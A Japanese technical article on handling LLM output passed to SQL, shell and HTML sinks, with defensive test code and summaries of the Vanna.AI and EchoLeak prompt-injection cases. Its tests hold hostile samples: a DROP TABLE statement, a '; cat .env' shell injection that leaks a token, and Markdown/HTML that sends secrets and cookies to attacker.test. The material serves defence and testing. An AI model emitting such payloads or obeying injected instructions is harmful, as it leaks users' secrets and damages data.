LLM アプリの脆弱性というとプロンプトインジェクションが注目されますが、実害の多くは「モデルの出力を、次の処理がそのまま信用したとき」に起きます。モデルが書いた SQL をそのまま実行する、モデルが組み立てたコマンドをシェルに渡す、モデルの応答を HTML としてそのまま描画する、といった場面です。
OWASP Top 10 for LLM Applications では、これを Improper Output Handling(2025 年版の LLM05、2026 年版では LLM10)として扱っています。順位は下がりましたが、起きていることは SQL インジェクション・OS コマンドインジェクション・XSS という、昔からある脆弱性そのものです。違うのは、攻撃者が文字列を直接送るのではなく、モデルに書かせる点だけです。
この記事では、SQL・シェル・HTML の 3 つの渡し先それぞれで、モデルの出力をどう扱えば従来の対策がそのまま効くのかを、検証コードで確かめます。
検証環境と前提
- Python 3.13.18、sqlglot 30.27.0、pydantic 2.13.5、Python-Markdown 3.11、nh3 0.3.7、SQLite 3.53.1、GNU grep 3.11(クラウド上の Linux コンテナ)
- LLM は呼び出していません。モデルの出力(SQL・JSON・Markdown)はすべて固定値で与え、受け取った側の検査と実行だけを確かめています
- 事例やライブラリの情報は 2026 年 11 月 1 日時点で、公開された脆弱性情報・各ライブラリのドキュメントを確認しました
「モデルの出力は利用者の入力」と考える
従来の Web アプリでは、利用者の入力は信用せず、SQL にはプレースホルダーで、HTML にはエスケープして渡すのが常識です。ところが LLM の出力になると、「自分たちのシステムが生成したものだから」と信用してしまいがちです。
しかしモデルの出力は、ユーザーの発話、検索した文書、受信したメール、ツールの結果といった入力に左右されます。間接プロンプトインジェクションを考えれば、モデルの出力は、そのコンテキストに文章を入れられる誰もが書ける文字列です。渡し先から見れば、利用者の入力と同じ扱いにするのが正しい位置づけです。
実際にこの形の脆弱性は繰り返し見つかっています。
| 事例 | 渡し先 | 何が起きたか |
|---|---|---|
| Vanna.AI(CVE-2024-5565) | Python の exec
|
自然言語から SQL を作るライブラリで、グラフ描画用にモデルが生成した Plotly のコードが exec で実行されていた。JFrog が報告 |
| Microsoft 365 Copilot の EchoLeak(CVE-2025-32711) | Markdown の描画 | 外部から届いたメールの指示で、組織内の情報を含む URL を応答に書かせ、画像やリンクの読み込みで外部に送らせる手法。Aim Security が報告し、Microsoft は修正済みで悪用は確認されていないとしている |
Vanna.AI の件で JFrog は、事前のプロンプトでの指示を「完全な防御として頼るべきではない」と述べています。システムプロンプトに「SQL 以外は書かないこと」と書いても、モデルがその通りにする保証はありません。対策は、モデルの外、つまり渡し先の手前と渡し先そのものに置きます。
SQL:モデルに書かせるなら、構文木の検査と DB 側の権限で二重に守る
SQL への渡し方は 2 通りあります。
-
モデルには値だけを返させ、SQL はコードが書く: 構造化出力で
customer_idや期間を受け取り、プレースホルダーで埋め込みます。従来の SQL インジェクション対策がそのまま効くので、できるならこちらを選びます - 自然言語から SQL を書かせる(text-to-SQL): 分析用のチャットなど、問い合わせの形を事前に決められない場合です。SQL 文そのものが信用できない入力になります
2 の場合、プレースホルダーは使えません。そこで、(1) 実行前に SQL を構文木に変換して「1 文だけ・SELECT だけ・許可したテーブルだけ」を確かめ、(2) 検査をすり抜けた場合に備えて DB 側でも読める範囲を絞ります。SQLite なら、読み取り専用で開いたうえで、実行時に操作ごとに許可を判定するオーソライザー(set_authorizer)を使えます。
import sqlite3
import sqlglot
from sqlglot import exp
# 検証用の DB(ファイルに作り、アプリからは読み取り専用で開く)
setup = sqlite3.connect("shop.db")
setup.executescript("""
DROP TABLE IF EXISTS orders; DROP TABLE IF EXISTS customers; DROP TABLE IF EXISTS api_keys;
CREATE TABLE customers(id INTEGER PRIMARY KEY, name TEXT, email TEXT);
CREATE TABLE orders(id INTEGER PRIMARY KEY, customer_id INTEGER, amount INTEGER);
CREATE TABLE api_keys(id INTEGER PRIMARY KEY, secret TEXT);
INSERT INTO customers VALUES (1,'佐藤','sato@example.com'),(2,'鈴木','suzuki@example.com');
INSERT INTO orders VALUES (1,1,1200),(2,1,800),(3,2,5000);
INSERT INTO api_keys VALUES (1,'sk-test-000');
""")
setup.commit(); setup.close()
ALLOWED_TABLES = {"customers", "orders"}
ALLOWED_FUNCS = {"count", "sum", "avg", "min", "max"}
def check_sql(sql: str) -> str:
"""LLM が書いた SQL を、実行前に構文木で検査する(1 段目)"""
stmts = [s for s in sqlglot.parse(sql, read="sqlite") if s is not None]
if len(stmts) != 1:
raise ValueError(f"文は 1 つだけ({len(stmts)} 個あった)")
tree = stmts[0]
if not isinstance(tree, exp.Select):
raise ValueError(f"SELECT 以外は不可({type(tree).__name__})")
cte_names = {c.alias_or_name for c in tree.find_all(exp.CTE)}
tables = {t.name for t in tree.find_all(exp.Table)} - cte_names
if not tables <= ALLOWED_TABLES:
raise ValueError(f"許可外のテーブル {sorted(tables - ALLOWED_TABLES)}")
return tree.sql(dialect="sqlite")
def authorizer(action, arg1, arg2, db, trigger):
"""SQLite 自身が実行時に呼ぶ認可(2 段目)。検査をすり抜けても DB が拒否する"""
if action == sqlite3.SQLITE_SELECT:
return sqlite3.SQLITE_OK
if action == sqlite3.SQLITE_READ:
if arg1 not in ALLOWED_TABLES or (arg1, arg2) == ("customers", "email"):
return sqlite3.SQLITE_DENY
return sqlite3.SQLITE_OK
if action == sqlite3.SQLITE_FUNCTION and arg2.lower() in ALLOWED_FUNCS:
return sqlite3.SQLITE_OK
return sqlite3.SQLITE_DENY
def run(sql: str, use_checker: bool = True):
con = sqlite3.connect("file:shop.db?mode=ro", uri=True) # 読み取り専用で開く
con.set_authorizer(authorizer)
try:
q = check_sql(sql) if use_checker else sql
return "実行 " + str(con.execute(q).fetchall())
except ValueError as e:
return "検査で拒否 " + str(e)
except sqlite3.DatabaseError as e:
return "DB が拒否 " + str(e)
finally:
con.close()
# モデルが返した SQL(固定値)
outputs = {
"正常": "SELECT c.name, SUM(o.amount) FROM customers c JOIN orders o ON o.customer_id = c.id GROUP BY c.name",
"複文": "SELECT 1; DROP TABLE orders",
"更新": "DELETE FROM orders",
"許可外テーブル": "SELECT secret FROM api_keys",
"サブクエリ": "SELECT name FROM customers WHERE name IN (SELECT secret FROM api_keys)",
"CTE で偽装": "WITH orders AS (SELECT secret AS amount FROM api_keys) SELECT amount FROM orders",
}
for name, sql in outputs.items():
print(f"{name:<10} {run(sql)}")
print("--- 1 段目を外して、DB の認可だけで受けた場合 ---")
for name, sql in {
"許可外テーブル": "SELECT secret FROM api_keys",
"禁止列": "SELECT email FROM customers",
"関数": "SELECT sqlite_version()",
"書き込み": "DELETE FROM orders",
}.items():
print(f"{name:<10} {run(sql, use_checker=False)}")
正常 実行 [('佐藤', 2000), ('鈴木', 5000)]
複文 検査で拒否 文は 1 つだけ(2 個あった)
更新 検査で拒否 SELECT 以外は不可(Delete)
許可外テーブル 検査で拒否 許可外のテーブル ['api_keys']
サブクエリ 検査で拒否 許可外のテーブル ['api_keys']
CTE で偽装 検査で拒否 許可外のテーブル ['api_keys']
--- 1 段目を外して、DB の認可だけで受けた場合 ---
許可外テーブル DB が拒否 access to api_keys.secret is prohibited
禁止列 DB が拒否 access to customers.email is prohibited
関数 DB が拒否 not authorized to use function: sqlite_version
書き込み DB が拒否 not authorized
結果から読み取れること
-
文字列の検査ではなく構文木で見る: 「
DROPを含むか」「FROMの直後の単語」のような文字列の検査では、サブクエリや CTE の中のテーブルを見落とします。構文木にすれば、どこに書かれたテーブルでもexp.Tableとして拾えます。CTE で実在のテーブルと同じ名前(orders)を付けて中身を差し替える書き方も、CTE の中で参照しているapi_keysが残るので止まります -
最後に守るのは DB 側の権限: 構文木の検査は、パーサーと DB の方言の差やパーサーの不具合ですり抜ける可能性があります。オーソライザーは SQLite が実行時にテーブル・列・関数ごとに問い合わせるので、検査を外しても許可外の読み取りは止まります。ここでは列単位で
customers.emailも読めなくしています -
本番の DB では、DB のユーザー権限で同じことをする: PostgreSQL や MySQL なら、text-to-SQL 専用の読み取り専用ユーザーを作り、見せてよいテーブルやビューにだけ
SELECT権限を付けます。利用者ごとに見えてよい行が違うなら、行レベルセキュリティやテナントごとのビューで絞り、「モデルがWHERE tenant_id = ...を書き忘れない」ことには頼りません - 重い問い合わせへの備えも要る: SELECT だけに絞っても、巨大な結合で DB を止めることはできます。ステートメントのタイムアウトや取得行数の上限を併せて設定します
シェル:コマンド文字列を書かせず、引数の値だけを受け取る
シェルに渡す場合の原則は、従来の OS コマンドインジェクション対策と同じで「シェルを経由しない」ことです。モデルにはコマンド文字列ではなく、決めたコマンドの引数の値だけを構造化出力で返させ、argv はコードが組み立てます。
import subprocess
from pathlib import Path
from pydantic import BaseModel, ConfigDict, Field
BASE = Path("docs").resolve()
# ダメな例: モデルが書いたコマンド文字列をそのままシェルに渡す
def search_bad(cmd: str) -> str:
return subprocess.run(cmd, shell=True, capture_output=True, text=True).stdout
# よい例: モデルには「引数の値」だけを構造化出力で返させ、コマンドはコードが組み立てる
class GrepArgs(BaseModel):
model_config = ConfigDict(extra="forbid")
pattern: str = Field(min_length=1, max_length=100)
path: str = Field(default=".", max_length=200)
def search_good(raw_json: str) -> str:
args = GrepArgs.model_validate_json(raw_json)
target = (BASE / args.path).resolve()
if not target.is_relative_to(BASE): # docs/ の外は見せない
return f"拒否: 許可外のパス {args.path!r}"
argv = ["grep", "-rn", "--", args.pattern, str(target)] # -- 以降はオプションとして解釈されない
r = subprocess.run(argv, capture_output=True, text=True, timeout=5)
return r.stdout.replace(str(BASE) + "/", "") or f"(該当なし, rc={r.returncode})"
# モデルの出力(固定値)。2 件目はメモに仕込まれた指示に従ってしまった想定
print("[shell=True]")
print(search_bad("grep -rn 締め切り docs"), end="")
print(search_bad("grep -rn 締め切り docs; cat .env"), end="")
print("[引数リスト + 検証]")
for raw in [
'{"pattern": "締め切り"}',
'{"pattern": "締め切り docs; cat .env"}',
'{"pattern": "--include=.env", "path": "."}',
'{"pattern": "TOKEN", "path": "../"}',
]:
print(f"{raw:<45} -> {search_good(raw).strip()}")
docs/memo.txt(中身は「締め切りは 11/30」)と、カレントディレクトリに秘密を模した .env(TOKEN=abc)を置いて実行しました。
[shell=True]
docs/memo.txt:1:締め切りは 11/30
docs/memo.txt:1:締め切りは 11/30
TOKEN=abc
[引数リスト + 検証]
{"pattern": "締め切り"} -> memo.txt:1:締め切りは 11/30
{"pattern": "締め切り docs; cat .env"} -> (該当なし, rc=1)
{"pattern": "--include=.env", "path": "."} -> (該当なし, rc=1)
{"pattern": "TOKEN", "path": "../"} -> 拒否: 許可外のパス '../'
結果から読み取れること
-
shell=Trueでは;の後ろも実行される: モデルが文書中の指示に従って; cat .envを付け足すと、秘密がそのまま出力に入り、次のターンでモデルの応答に混ざります -
引数のリストで渡せば、値は値のまま: 同じ文字列を
patternとして渡しても、grep が「その文字列を含む行」を探すだけです -
オプション注入は
--で止める: シェルを使わなくても、値が-で始まるとコマンドのオプションとして解釈されます。多くのコマンドは--以降をオプションとして扱わないので、モデル由来の値の前に置きます。対応していないコマンドもあるので、使うコマンドごとに確かめます -
パスは正規化してから範囲を確かめる:
../のような相対パスは、resolve()で絶対パスにしてから許可したディレクトリの中かを判定します。文字列に..が含まれるかで判定すると、シンボリックリンクなどで抜けられます
エージェントに任意のコマンドを実行させる設計(コーディングエージェントなど)では、この「コマンドを固定する」方法は使えません。その場合は、コンテナや専用の VM のような隔離環境で実行し、ネットワークの出口と読めるファイルを絞るのが前提になります。Vanna.AI の件でも、ベンダーの公開した強化ガイドは、グラフ機能を外部に公開するならサンドボックスで動かすよう求めています。
HTML・Markdown:描画した瞬間に外部へ通信が起きる
チャット UI の多くは、モデルの応答を Markdown として描画します。ここには 2 種類の危険があります。
-
XSS: 応答に含まれた
<script>やonerror属性がブラウザで実行される -
描画による持ち出し: 画像
は描画した時点で、利用者が何もしなくてもブラウザがその URL を読みに行きます。URL のクエリにコンテキスト内の秘密を入れさせれば、それだけで外部に送られます。EchoLeak もこの経路を使ったものです
Markdown を HTML に変換しただけでは、どちらも防げません。変換後の HTML を許可リスト型のサニタイザーに通します。ここでは Rust 製の ammonia を Python から使う nh3 を使います。
from urllib.parse import urlsplit
import markdown
import nh3
ALLOWED_LINK_HOSTS = {"docs.example.com"}
def keep_attr(tag: str, attr: str, value: str):
"""属性ごとに呼ばれる。None を返すとその属性を消す"""
if tag == "a" and attr == "href":
u = urlsplit(value)
return value if u.scheme == "https" and u.hostname in ALLOWED_LINK_HOSTS else None
return value
def render(model_markdown: str) -> str:
html = markdown.markdown(model_markdown) # Markdown → HTML(生の HTML もそのまま通る)
return nh3.clean(
html,
tags={"p", "a", "ul", "ol", "li", "strong", "em", "code", "pre"}, # img は許可しない
clean_content_tags={"script", "style"}, # 中身ごと消す
attributes={"a": {"href"}},
url_schemes={"https"},
attribute_filter=keep_attr,
)
# モデルの出力(固定値)。要約対象の文書に仕込まれた指示に従ってしまった想定
model_output = """手順は[公式ドキュメント](https://docs.example.com/setup)を見てください。

[こちら](https://attacker.test/?d=sk-test-000) / [開く](javascript:alert(1))
<img src=x onerror="fetch('https://attacker.test/'+document.cookie)">
<script>alert(1)</script>"""
print("--- markdown のみ ---")
print(markdown.markdown(model_output))
print("--- nh3 で無害化 ---")
print(render(model_output))
--- markdown のみ ---
<p>手順は<a href="https://docs.example.com/setup">公式ドキュメント</a>を見てください。
<img alt="状況" src="https://attacker.test/log?d=sk-test-000" />
<a href="https://attacker.test/?d=sk-test-000">こちら</a> / <a href="javascript:alert(1)">開く</a>
<img src=x onerror="fetch('https://attacker.test/'+document.cookie)"></p>
<script>alert(1)</script>
--- nh3 で無害化 ---
<p>手順は<a href="https://docs.example.com/setup" rel="noopener noreferrer">公式ドキュメント</a>を見てください。
<a rel="noopener noreferrer">こちら</a> / <a rel="noopener noreferrer">開く</a>
</p>
結果から読み取れること
-
Markdown の変換器は安全装置ではない: Python-Markdown は、Markdown の中に書かれた生の HTML(
<img onerror>や<script>)をそのまま出力します。変換器の設定に頼らず、変換後の HTML を検査します -
画像は「許可しない」か「許可したホストだけ」にする: 画像の読み込みはクリックを必要としないので、持ち出しの経路として最も危険です。この例では
imgタグ自体を許可していません。画像が必要なら、自社のホストだけを許可します -
リンクは許可リストでホストを絞る: リンクはクリックが必要ですが、URL に秘密を含められる点は同じです。
javascript:などのスキームを止めるだけでなく、ホストも許可リストで絞ります。消したリンクの文字(「こちら」)は残るので、利用者が見る文面は大きく崩れません - 許可リストは「誰が中身を書けるか」で選ぶ: EchoLeak では、画像の読み込み先を Microsoft の関連ドメインに限るコンテンツセキュリティポリシー(CSP)があったものの、許可されたドメイン上の、外部 URL を中継する機能を経由されたと報告されています。許可したホストに、任意の URL へ転送・中継する機能がないかも確認します
サーバー側でのサニタイズに加え、ブラウザ側でも CSP の img-src や connect-src で読み込み先を絞っておくと、サニタイザーの設定漏れがあっても通信自体が止まります。
渡し先ごとに「従来の対策」を当てはめる
3 つの検証で使った対策は、どれも LLM のために新しく作ったものではありません。
| 渡し先 | 従来の脆弱性 | モデルの出力に対する対策 |
|---|---|---|
| SQL | SQL インジェクション | 値だけを受け取りプレースホルダーで渡す。SQL 文を書かせるなら構文木の検査と、読み取り専用で権限を絞った DB ユーザー |
| シェル・コード実行 | OS コマンドインジェクション、コードインジェクション | シェルを使わず引数リストで渡す。--、パスの正規化。任意の実行が要るなら隔離環境 |
| HTML・Markdown | XSS | 許可リスト型のサニタイザー。画像とリンクのホストを絞る。CSP |
| 別の LLM・エージェント | (間接プロンプトインジェクション) | 信頼できない入力として扱い、権限を分ける |
違いは、どこから来た値を「信用できない入力」と数えるかだけです。設計レビューでは、モデルの出力が流れていく先をすべて書き出し、それぞれが「利用者の入力を直接受け取ったとしても安全か」を問います。安全でない渡し先があれば、モデルの精度やシステムプロンプトでなく、渡し先の手前の検査と渡し先自体の権限で直します。
レッドチームでも同じ視点が使えます。モデルに「危険な出力をさせられるか」を試すだけでなく、危険な出力が出たときに後段の処理で実際に実行・描画されたかを確認します。この記事の検証コードのように、モデルの出力を固定値で与えて後段だけを試すテストは、LLM を呼ばずに速く回せるので、回帰テストとして CI に置いておくのにも向いています。
参考
- OWASP GenAI Security Project: LLM05:2025 Improper Output Handling
- JFrog: When Prompts Go Rogue: Analyzing a Prompt Injection Code Execution in Vanna.AI
- The Hacker News: Prompt Injection Flaw in Vanna AI Exposes Databases to RCE Attacks
- SC Media: Microsoft 365 Copilot zero-click vulnerability enabled data exfiltration
- GovInfoSecurity: Copilot AI Bug Could Leak Sensitive Data via Email Prompts
- nh3 ドキュメント